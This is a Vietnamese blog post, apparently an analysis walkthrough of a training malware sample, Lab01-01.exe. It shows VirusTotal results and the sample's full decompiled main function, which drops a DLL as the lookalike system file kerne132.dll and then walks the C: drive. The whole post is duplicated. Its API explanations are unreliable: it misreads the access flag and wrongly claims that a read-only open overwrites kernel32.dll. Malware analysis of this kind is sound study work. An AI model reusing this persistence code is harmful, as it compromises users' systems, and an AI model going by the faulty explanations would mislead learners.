Ok, bắt đầu bài thứ 1 nhé
1. Nhận dạng
Quăng con này lên virustotal:
https://www.virustotal.com/en/file/58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47/analysis/
KQ:
SHA256:
58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47
File name:
Lab01-01.exe
Detection ratio:
1 / 44
Không tệ: 1/44 AV báo malware
Ngày compile là Sunday, January 08, 2012, 02:19:04 AM
Compiler là: Microsoft Visual C++ 6.0 và không sử dụng packer
SHA: 58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47
2. Phân tích
Lab01-01.exe import 2 DLL là kernel.dll và MSVCRT.dll
Ta sẽ decompiler hàm main trước
int __cdecl main(int argc, const char **argv, const char **envp) { HANDLE v3; // eax@3 HANDLE v4; // eax@3 LPVOID v5; // eax@3 int v6; // esi@3 HANDLE v7; // eax@3 HANDLE v8; // eax@5 int v9; // ebp@7 int v10; // edi@9 int v11; // eax@9 int v12; // esi@9 int v13; // ebx@9 int v14; // ebp@9 int v15; // eax@9 unsigned int v16; // edi@9 int v17; // eax@9 int v18; // ecx@9 int v19; // edx@9 int v20; // esi@9 int v21; // edi@9 int v22; // ebx@9 int v23; // eax@9 int v24; // ecx@9 unsigned int v25; // edx@9 int v26; // ebp@12 int v27; // edx@14 void *v28; // ebx@14 void *v29; // eax@14 int v30; // ecx@14 unsigned int v31; // kr14_4@14 bool v32; // cf@15 int v34; // [sp+10h] [bp-44h]@12 int v35; // [sp+14h] [bp-40h]@12 int *v36; // [sp+18h] [bp-3Ch]@12 int v37; // [sp+1Ch] [bp-38h]@9 int v38; // [sp+20h] [bp-34h]@9 int v39; // [sp+24h] [bp-30h]@9 int v40; // [sp+28h] [bp-2Ch]@11 unsigned int v41; // [sp+2Ch] [bp-28h]@9 int v42; // [sp+30h] [bp-24h]@9 int v43; // [sp+34h] [bp-20h]@9 int v44; // [sp+38h] [bp-1Ch]@9 int v45; // [sp+3Ch] [bp-18h]@9 int v46; // [sp+40h] [bp-14h]@12 int v47; // [sp+44h] [bp-10h]@9 int v48; // [sp+48h] [bp-Ch]@9 void *hObject; // [sp+4Ch] [bp-8h]@3 void *v50; // [sp+50h] [bp-4h]@3 int argca; // [sp+58h] [bp+4h]@3 int argva; // [sp+5Ch] [bp+8h]@7 int argvb; // [sp+5Ch] [bp+8h]@9 if ( argc == 2 && !strcmp(argv[1], "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE") ) { v3 = CreateFileA("C:\\Windows\\System32\\Kernel32.dll", 0x80000000u, 1u, 0, 3u, 0, 0); hObject = v3; v4 = CreateFileMappingA(v3, 0, 2u, 0, 0, 0); v5 = MapViewOfFile(v4, 4u, 0, 0, 0); v6 = (int)v5; argca = (int)v5; v7 = CreateFileA("Lab01-01.dll", 0x10000000u, 1u, 0, 3u, 0, 0); v50 = v7; if ( v7 == (HANDLE)-1 ) exit(0); v8 = CreateFileMappingA(v7, 0, 4u, 0, 0, 0); if ( v8 == (HANDLE)-1 ) exit(0); v9 = (int)MapViewOfFile(v8, 0xF001Fu, 0, 0, 0); argva = v9; if ( !v9 ) exit(0); v44 = v6 + *(_DWORD *)(v6 + 60); v10 = v6 + *(_DWORD *)(v6 + 60); v11 = sub_401040(*(_DWORD *)(v10 + 120), v10, v6); v12 = v9 + *(_DWORD *)(v9 + 60); v13 = v11; v39 = v11; v14 = sub_401040(*(_DWORD *)(v12 + 120), v12, v9); v37 = sub_401040(*(_DWORD *)(v13 + 28), v10, argca); v43 = sub_401040(*(_DWORD *)(v13 + 36), v10, argca); v15 = sub_401040(*(_DWORD *)(v13 + 32), v10, argca); v16 = *(_DWORD *)(v12 + 124); v42 = v15; v17 = sub_401070(*(_DWORD *)(v12 + 120), v12, argva); memcpy((void *)v14, (const void *)v13, 4 * (v16 >> 2)); v45 = v17; memcpy((void *)(v14 + 4 * (v16 >> 2)), (const void *)(v13 + 4 * (v16 >> 2)), v16 & 3); v18 = *(_DWORD *)(v13 + 20); *(_DWORD *)(v14 + 20) = v18; *(_DWORD *)(v14 + 24) = *(_DWORD *)(v13 + 24); *(_DWORD *)(v14 + 12) = v14 + 40 + v17; v38 = v14 + 56; *(_DWORD *)(v14 + 40) = dword_403010; *(_DWORD *)(v14 + 44) = dword_403014; *(_DWORD *)(v14 + 48) = dword_403018; *(_DWORD *)(v14 + 52) = dword_40301C; v19 = *(_DWORD *)(v14 + 20); v20 = v14 + 56 + 4 * v19; v21 = v14 + 56 + 8 * v19; v48 = v14 + 56 + 4 * v19; v47 = v14 + 56 + 8 * v19; v22 = 16 * v18 + v14 + 56; *(_DWORD *)(v14 + 28) = v14 + 56 + v17; *(_DWORD *)(v14 + 36) = v20 + v17; *(_DWORD *)(v14 + 32) = v21 + v17; v23 = v39; v24 = 0; v25 = 0; argvb = 0; v41 = 0; if ( *(_DWORD *)(v39 + 20) ) { do { if ( *(_DWORD *)v37 ) { v40 = 0; if ( *(_DWORD *)(v23 + 24) ) { v26 = v38 + 4 * v24; v34 = v20 + 2 * v24; v36 = (int *)v42; v35 = v43; v46 = v21 - v38; do { if ( *(_WORD *)v35 == v25 ) { v27 = sub_401040(*v36, v44, argca); memcpy((void *)v22, (const void *)v27, strlen((const char *)v27) + 1); *(_WORD *)v34 = argvb; *(_DWORD *)(v46 + v26) = v22 + v45; v28 = (void *)(v22 + strlen((const char *)v27) + 1); v29 = v28; v30 = (int)((char *)v28 + v45); v28 = (char *)v28 + 9; *(_DWORD *)v26 = v30; *(_DWORD *)v29 = dword_403070; *((_DWORD *)v29 + 1) = dword_403074; *((_BYTE *)v29 + 8) = byte_403078; memcpy(v28, (const void *)v27, strlen((const char *)v27) + 1); v31 = strlen((const char *)v27) + 1; v23 = v39; ++argvb; v25 = v41; v22 = (int)((char *)v28 + v31); v26 += 4; v34 += 2; } v35 += 2; v32 = (unsigned int)(v40++ + 1) < *(_DWORD *)(v23 + 24); ++v36; } while ( v32 ); v24 = argvb; v21 = v47; v20 = v48; } } ++v25; v41 = v25; v37 += 4; } while ( v25 < *(_DWORD *)(v23 + 20) ); } CloseHandle(hObject); CloseHandle(v50); if ( !CopyFileA("Lab01-01.dll", "C:\\windows\\system32\\kerne132.dll", 0) ) exit(0); sub_4011E0("C:\\*", 0); } return 0; }
Ok, ta sẽ phân tích từng dòng quan trọng:
***********************************************************************
HANDLE v3; // eax@3
v3 = CreateFileA("C:\\Windows\\System32\\Kernel32.dll", 0x80000000u, 1u, 0, 3u, 0, 0);
Chúng ta có thể lấy thông tin hàm CreateFileA ở trong thư viện MSDN của microsoft
* Lưu ý: khi bạn tìm kiếm hàm thì chỉ gõ CreateFile chứ đừng ghi thêm hậu tố "A" hay "W" đằng sau, MSDN sẽ không hiểu
http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
HANDLE WINAPI CreateFile(
_In_ LPCTSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
);
Tham số 1: "C:\\Windows\\System32\\Kernel32.dll" là đường dẫn và tên file cần tạo
Tham số 2: 0x80000000u = FILE_READ_ATTRIBUTES
Tham số 3: 1u = FILE_SHARE_READ
Tham số 4: 0 = NULL
Tham số 5: 3u = OPEN_EXISTING (nếu như file không tồn tại sẽ báo lỗi, chắc chắn là không báo rồi vì kernel32.dll là core của windows mà)
Tham số 6 và 7 là NULL
Tóm lại là hàm này sẽ ghi đè dữ liệu lên file kernel32.dll
Sau khi thực thi hàm sẽ trả về kết quả, ghi thành công hay thất bại
Chúng ta có thể kiểm tra việc ghi file bằng GetLastError xem thành công không
******************************************************************************
1. Nhận dạng
Quăng con này lên virustotal:
https://www.virustotal.com/en/file/58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47/analysis/
KQ:
SHA256:
58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47
File name:
Lab01-01.exe
Detection ratio:
1 / 44
Không tệ: 1/44 AV báo malware
Ngày compile là Sunday, January 08, 2012, 02:19:04 AM
Compiler là: Microsoft Visual C++ 6.0 và không sử dụng packer
SHA: 58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47
2. Phân tích
Lab01-01.exe import 2 DLL là kernel.dll và MSVCRT.dll
Ta sẽ decompiler hàm main trước
int __cdecl main(int argc, const char **argv, const char **envp) { HANDLE v3; // eax@3 HANDLE v4; // eax@3 LPVOID v5; // eax@3 int v6; // esi@3 HANDLE v7; // eax@3 HANDLE v8; // eax@5 int v9; // ebp@7 int v10; // edi@9 int v11; // eax@9 int v12; // esi@9 int v13; // ebx@9 int v14; // ebp@9 int v15; // eax@9 unsigned int v16; // edi@9 int v17; // eax@9 int v18; // ecx@9 int v19; // edx@9 int v20; // esi@9 int v21; // edi@9 int v22; // ebx@9 int v23; // eax@9 int v24; // ecx@9 unsigned int v25; // edx@9 int v26; // ebp@12 int v27; // edx@14 void *v28; // ebx@14 void *v29; // eax@14 int v30; // ecx@14 unsigned int v31; // kr14_4@14 bool v32; // cf@15 int v34; // [sp+10h] [bp-44h]@12 int v35; // [sp+14h] [bp-40h]@12 int *v36; // [sp+18h] [bp-3Ch]@12 int v37; // [sp+1Ch] [bp-38h]@9 int v38; // [sp+20h] [bp-34h]@9 int v39; // [sp+24h] [bp-30h]@9 int v40; // [sp+28h] [bp-2Ch]@11 unsigned int v41; // [sp+2Ch] [bp-28h]@9 int v42; // [sp+30h] [bp-24h]@9 int v43; // [sp+34h] [bp-20h]@9 int v44; // [sp+38h] [bp-1Ch]@9 int v45; // [sp+3Ch] [bp-18h]@9 int v46; // [sp+40h] [bp-14h]@12 int v47; // [sp+44h] [bp-10h]@9 int v48; // [sp+48h] [bp-Ch]@9 void *hObject; // [sp+4Ch] [bp-8h]@3 void *v50; // [sp+50h] [bp-4h]@3 int argca; // [sp+58h] [bp+4h]@3 int argva; // [sp+5Ch] [bp+8h]@7 int argvb; // [sp+5Ch] [bp+8h]@9 if ( argc == 2 && !strcmp(argv[1], "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE") ) { v3 = CreateFileA("C:\\Windows\\System32\\Kernel32.dll", 0x80000000u, 1u, 0, 3u, 0, 0); hObject = v3; v4 = CreateFileMappingA(v3, 0, 2u, 0, 0, 0); v5 = MapViewOfFile(v4, 4u, 0, 0, 0); v6 = (int)v5; argca = (int)v5; v7 = CreateFileA("Lab01-01.dll", 0x10000000u, 1u, 0, 3u, 0, 0); v50 = v7; if ( v7 == (HANDLE)-1 ) exit(0); v8 = CreateFileMappingA(v7, 0, 4u, 0, 0, 0); if ( v8 == (HANDLE)-1 ) exit(0); v9 = (int)MapViewOfFile(v8, 0xF001Fu, 0, 0, 0); argva = v9; if ( !v9 ) exit(0); v44 = v6 + *(_DWORD *)(v6 + 60); v10 = v6 + *(_DWORD *)(v6 + 60); v11 = sub_401040(*(_DWORD *)(v10 + 120), v10, v6); v12 = v9 + *(_DWORD *)(v9 + 60); v13 = v11; v39 = v11; v14 = sub_401040(*(_DWORD *)(v12 + 120), v12, v9); v37 = sub_401040(*(_DWORD *)(v13 + 28), v10, argca); v43 = sub_401040(*(_DWORD *)(v13 + 36), v10, argca); v15 = sub_401040(*(_DWORD *)(v13 + 32), v10, argca); v16 = *(_DWORD *)(v12 + 124); v42 = v15; v17 = sub_401070(*(_DWORD *)(v12 + 120), v12, argva); memcpy((void *)v14, (const void *)v13, 4 * (v16 >> 2)); v45 = v17; memcpy((void *)(v14 + 4 * (v16 >> 2)), (const void *)(v13 + 4 * (v16 >> 2)), v16 & 3); v18 = *(_DWORD *)(v13 + 20); *(_DWORD *)(v14 + 20) = v18; *(_DWORD *)(v14 + 24) = *(_DWORD *)(v13 + 24); *(_DWORD *)(v14 + 12) = v14 + 40 + v17; v38 = v14 + 56; *(_DWORD *)(v14 + 40) = dword_403010; *(_DWORD *)(v14 + 44) = dword_403014; *(_DWORD *)(v14 + 48) = dword_403018; *(_DWORD *)(v14 + 52) = dword_40301C; v19 = *(_DWORD *)(v14 + 20); v20 = v14 + 56 + 4 * v19; v21 = v14 + 56 + 8 * v19; v48 = v14 + 56 + 4 * v19; v47 = v14 + 56 + 8 * v19; v22 = 16 * v18 + v14 + 56; *(_DWORD *)(v14 + 28) = v14 + 56 + v17; *(_DWORD *)(v14 + 36) = v20 + v17; *(_DWORD *)(v14 + 32) = v21 + v17; v23 = v39; v24 = 0; v25 = 0; argvb = 0; v41 = 0; if ( *(_DWORD *)(v39 + 20) ) { do { if ( *(_DWORD *)v37 ) { v40 = 0; if ( *(_DWORD *)(v23 + 24) ) { v26 = v38 + 4 * v24; v34 = v20 + 2 * v24; v36 = (int *)v42; v35 = v43; v46 = v21 - v38; do { if ( *(_WORD *)v35 == v25 ) { v27 = sub_401040(*v36, v44, argca); memcpy((void *)v22, (const void *)v27, strlen((const char *)v27) + 1); *(_WORD *)v34 = argvb; *(_DWORD *)(v46 + v26) = v22 + v45; v28 = (void *)(v22 + strlen((const char *)v27) + 1); v29 = v28; v30 = (int)((char *)v28 + v45); v28 = (char *)v28 + 9; *(_DWORD *)v26 = v30; *(_DWORD *)v29 = dword_403070; *((_DWORD *)v29 + 1) = dword_403074; *((_BYTE *)v29 + 8) = byte_403078; memcpy(v28, (const void *)v27, strlen((const char *)v27) + 1); v31 = strlen((const char *)v27) + 1; v23 = v39; ++argvb; v25 = v41; v22 = (int)((char *)v28 + v31); v26 += 4; v34 += 2; } v35 += 2; v32 = (unsigned int)(v40++ + 1) < *(_DWORD *)(v23 + 24); ++v36; } while ( v32 ); v24 = argvb; v21 = v47; v20 = v48; } } ++v25; v41 = v25; v37 += 4; } while ( v25 < *(_DWORD *)(v23 + 20) ); } CloseHandle(hObject); CloseHandle(v50); if ( !CopyFileA("Lab01-01.dll", "C:\\windows\\system32\\kerne132.dll", 0) ) exit(0); sub_4011E0("C:\\*", 0); } return 0; }
Ok, ta sẽ phân tích từng dòng quan trọng:
***********************************************************************
HANDLE v3; // eax@3
v3 = CreateFileA("C:\\Windows\\System32\\Kernel32.dll", 0x80000000u, 1u, 0, 3u, 0, 0);
Chúng ta có thể lấy thông tin hàm CreateFileA ở trong thư viện MSDN của microsoft
* Lưu ý: khi bạn tìm kiếm hàm thì chỉ gõ CreateFile chứ đừng ghi thêm hậu tố "A" hay "W" đằng sau, MSDN sẽ không hiểu
http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
HANDLE WINAPI CreateFile(
_In_ LPCTSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
);
Tham số 1: "C:\\Windows\\System32\\Kernel32.dll" là đường dẫn và tên file cần tạo
Tham số 2: 0x80000000u = FILE_READ_ATTRIBUTES
Tham số 3: 1u = FILE_SHARE_READ
Tham số 4: 0 = NULL
Tham số 5: 3u = OPEN_EXISTING (nếu như file không tồn tại sẽ báo lỗi, chắc chắn là không báo rồi vì kernel32.dll là core của windows mà)
Tham số 6 và 7 là NULL
Tóm lại là hàm này sẽ ghi đè dữ liệu lên file kernel32.dll
Sau khi thực thi hàm sẽ trả về kết quả, ghi thành công hay thất bại
Chúng ta có thể kiểm tra việc ghi file bằng GetLastError xem thành công không
******************************************************************************
0 nhận xét:
Post a Comment